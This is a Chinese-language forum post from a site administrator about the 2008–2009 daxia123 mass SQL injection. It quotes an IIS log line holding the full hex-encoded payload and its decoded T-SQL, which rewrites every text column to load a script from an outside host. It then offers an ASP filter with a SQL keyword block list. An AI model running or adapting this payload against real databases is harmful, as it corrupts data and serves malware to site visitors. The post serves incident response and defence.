數據庫被注入解決辦法
當前位置:點晴教程→知識管理交流
→『 技術文檔交流 』
近期,我管理的一個網站被注入木馬代碼<script src=http://cn.daxia123.cn/cn.js></script>,在百度搜索這段代碼,竟然可以搜到20萬多的網站被注入了,真是把我郁悶了一天啊?。。?!這個木馬大概在2008-12-24號爆發(fā)至今。。越來越多的網站中標。daxia123
查看IIS日志發(fā)現如下信息: 2009-01-01 01:27:35 W3SVC599379226 *.*.*.*GET reads.asp msgid=2068%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747 970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292 0424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524 F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.200.141.151 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) http://** 200 0 0 網上有兄弟把這段代碼還原如下: +展開 -SQL DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM (CONVERT(VARCHAR(4000),['+@C+']))+'' <script src=http://cn.daxia123.cn/cn.js> </script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 攻擊者將攻擊代碼用2進制,或10進制編譯成了 類似于0x4445434C415245204054205641524348415228323535292C404 的代碼: 防sql注入的代碼無法識別,但sql server 會將此方式編譯的代碼還原為原來的樣子 這樣就繞過了sql防注入代碼。 這個代碼僅對能解釋它的sql server這樣的數據庫有效 針對access這樣的不能解釋它的數據庫類型攻擊無效 真是高手?。?! ============================ 網上搜索的解決辦法,不知道有沒有效果,你們可以試一試,消除數據之前一定要備份啊,兄弟們! 解決辦法一:1 嚴格過濾 request.form 和 request.querystring 獲取的內容,堅決不用 request("name") 這樣的方式獲取值,凡是采用 cookies 保存的內容,盡量不要用在sql語句里進行查詢數據庫操作;2 重要的用戶資料盡量采用 session 驗證,因為session是服務器端的,客戶端無法偽造數據,除非他有你服務器的權限。 可以采用以下的防范 get 、post以及cookies 注入的代碼來過濾 sql 注入攻擊: +展開 -HTML <% Response.Buffer = True '緩存頁面 '防范get注入 If Request.QueryString <> "" Then StopInjection(Request.QueryString) '防范post注入 If Request.Form <> "" Then StopInjection(Request.Form) '防范cookies注入 If Request.Cookies <> "" Then StopInjection(Request.Cookies) '正則子函數 Function StopInjection(Values) Dim regEx Set regEx = New RegExp regEx.IgnoreCase = True regEx.Global = True regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)" Dim sItem, sValue For Each sItem In Values sValue = Values(sItem) If regEx.Test(sValue) Then Response.Write "<Script Language=javascript>alert('非法注入!你的行為已被記錄?。?);history.back(-1);</script> " Response.End End If Next Set regEx = Nothing End function %> 把以上的代碼另存為一個文件,如 antisql.asp ,然后在數據庫連接文件開頭包含這個文件 <!--#include file="antisql.asp"--> ,就可以實現全站的防范 sql 注入的攻擊了。 解決方法二:在數據庫第一個字段前面和最后一個字段后面分別加了一個char型的字段,把字段長度設為1,也就是注入的字段如果大于1則注入失敗。 如果有更好的辦法,麻煩貼出來。 該文章在 2011/1/31 1:59:41 編輯過
|
關鍵字查詢
相關文章
正在查詢... |